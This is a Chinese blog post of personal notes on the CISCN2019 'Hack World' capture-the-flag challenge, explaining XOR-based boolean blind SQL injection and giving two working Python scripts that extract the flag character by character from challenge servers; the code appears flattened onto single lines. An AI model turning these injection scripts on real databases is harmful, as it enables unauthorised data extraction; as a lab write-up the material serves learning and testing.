当前位置: 首页 > news >正文

(脚本学习)BUU18 [CISCN2019 华北赛区 Day2 Web1]Hack World1

自用

题目

考虑是不是布尔盲注,如何测试:用"1^1^1=1   1^0^1=0,就像是真真真等于真,真假真等于假"这个测试

SQL布尔盲注脚本1

import requestsurl = "http://8e4a9bf2-c055-4680-91fd-5b969ebc209e.node5.buuoj.cn:81/index.php"
flag = ""
i = 0while True:i = i + 1letf = 32right = 127while letf < right:mid = (letf+right) // 2payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"data = {"id":payload}res = requests.post(url=url, data=data).textif "Hello" in res:letf = mid + 1else:right = midif letf != 32:flag += chr(letf)print(flag)else:break

SQL布尔盲注脚本2

import requests
#调用请求模块
import time
#调用时间模块
import re
#调用规则表达式模块
url='http://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/'
#题目链接
flag = ''
#创建一个变量用来存放flag值
for i in range(1,50):#for循环遍历,i表示flag值大致长度是50以内max = 127#赋值127min = 0#赋值0for c in range(0,127):#for循环遍历s = (int)((max+min)/2)#首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'#^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。#从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个))#将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。r = requests.post(url,data = {'id':payload})#requests模块的运用,将payload赋值给题目中这个名为id的参数time.sleep(0.005)#每循环一次休眠0.005秒if 'Hello' in str(r.content):#如果Hello这个字符串在生成的结果中,那么就继续向下进行max=s#将s的值赋值给maxelse:#反之min=s#将s的值赋值给minif((max-min)<=1):#如果max-min的值flag+=chr(max)#将max的ASCII值转化为字符串print(flag)#输出flagbreak#跳出循环

http://www.lryc.cn/news/531407.html

相关文章:

  • Caxa 二次开发 ObjectCRX-1 踩坑:环境配置以及 Helloworld
  • 【自然语言处理(NLP)】生成词向量:GloVe(Global Vectors for Word Representation)原理及应用
  • bable-预设
  • 回顾生化之父三上真司的游戏思想
  • 无公网IP 外网访问青龙面板
  • 中国证券基本知识汇总
  • C基础寒假练习(2)
  • Baklib如何提升内容中台智能化推荐系统的精准服务与用户体验
  • 【Java】位图 布隆过滤器
  • 【专业标题】数字时代的影像保卫战:照片误删拯救全指南
  • 深度剖析八大排序算法
  • JVM_程序计数器的作用、特点、线程私有、本地方法的概述
  • 【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】2.20 傅里叶变换:从时域到频域的算法实现
  • PAT甲级1052、Linked LIst Sorting
  • git error: invalid path
  • 优选算法合集————双指针(专题二)
  • Ubuntu下Tkinter绑定数字小键盘上的回车键(PySide6类似)
  • 使用arcpy列表函数
  • 基于联合概率密度与深度优化的反潜航空深弹命中概率模型研究摘要
  • 【PyQt】pyqt小案例实现简易文本编辑器
  • 二叉树03(数据结构初阶)
  • ComfyUI工作流 图像反推生成人像手办人像参考(SDXL版)
  • 【01】共识机制
  • sentinel的限流原理
  • ZOJ 1007 Numerical Summation of a Series
  • 『 C 』 `##` 在 C 语言宏定义中的作用解析
  • 独立成分分析 (ICA):用于信号分离或降维
  • 为什么会有函数调用参数带标签的写法?Swift函数调用的参数传递需要加前缀是否是冗余?函数调用?函数参数?
  • 实际操作 检测缺陷刀片
  • 使用Pygame制作“青蛙过河”游戏